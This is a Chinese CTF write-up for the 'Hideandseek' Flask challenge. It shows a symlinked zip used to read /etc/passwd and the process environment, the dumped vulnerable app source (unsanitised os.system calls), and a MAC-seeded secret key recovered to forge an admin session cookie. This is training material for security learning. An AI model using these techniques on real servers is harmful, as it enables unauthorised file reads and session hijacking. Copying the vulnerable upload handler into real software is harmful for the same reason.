Hideandseek

先用guest登录，提示上传zip文件，上传后进行解压，利用软链接实现任意文件读取

ln -s /etc/passwd 1.jpg

压缩1.jpg上传

zip -y 1.zip 1.jpg

读取/proc/self/envion

HOSTNAME=b07efea7a3bfSHLVL=1PYTHON_PIP_VERSION=19.1.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/uwsgi.iniWERKZEUG_SERVER_FD=3NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/static_=/usr/local/bin/pythonUWSGI_CHEAPER=2WERKZEUG_RUN_MAIN=trueNGINX_VERSION=1.15.8-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchLANG=C.UTF-8PYTHON_VERSION=3.6.8NGINX_WORKER_PROCESSES=1LISTEN_PORT=80STATIC_INDEX=0PWD=/appPYTHONPATH=/appSTATIC_PATH=/app/staticFLAG=not_flag

读取/app/uwsgi.ini

uWSGI是一个Web应用服务器，它具有应用服务器，代理，进程管理及应用监控等功能。它支持WSGI协议，同时它也支持自有的uWSGI协议。

[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

这里无解了，据说这里的链接应该是

module的返回值应该是module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main 访问/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

应该是BUU的配置不对，读取源码

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

其中随机数的种子是uuid.getnode()，本地的MAC地址的十进制表示，获取本地的MAC地址。

/sys/class/net/eth0/address

02:42:ac:10:b9:28 

转换MAC地址

import uuid
import random

if __name__ == "__main__":
    mac = "02:42:ac:10:b9:28"
    temp = mac.split(':')
    temp = [int(i, 16) for i in temp]
    temp = [bin(i).replace('0b', '').zfill(8) for i in temp]
    temp = ''.join(temp)
    mac = int(temp, 2)
    random.seed(mac)
    randStr = str(random.random()*100)
    print(randStr)  # 结果为 90.979214536644

利用MAC地址做SECRET_KEY，代入flask_session_manager

eyJ1c2VybmFtZSI6ImFkbWluIn0.YP4y5w.4YJJKSNFQhpDtLEBQDf7dz6Kr5Q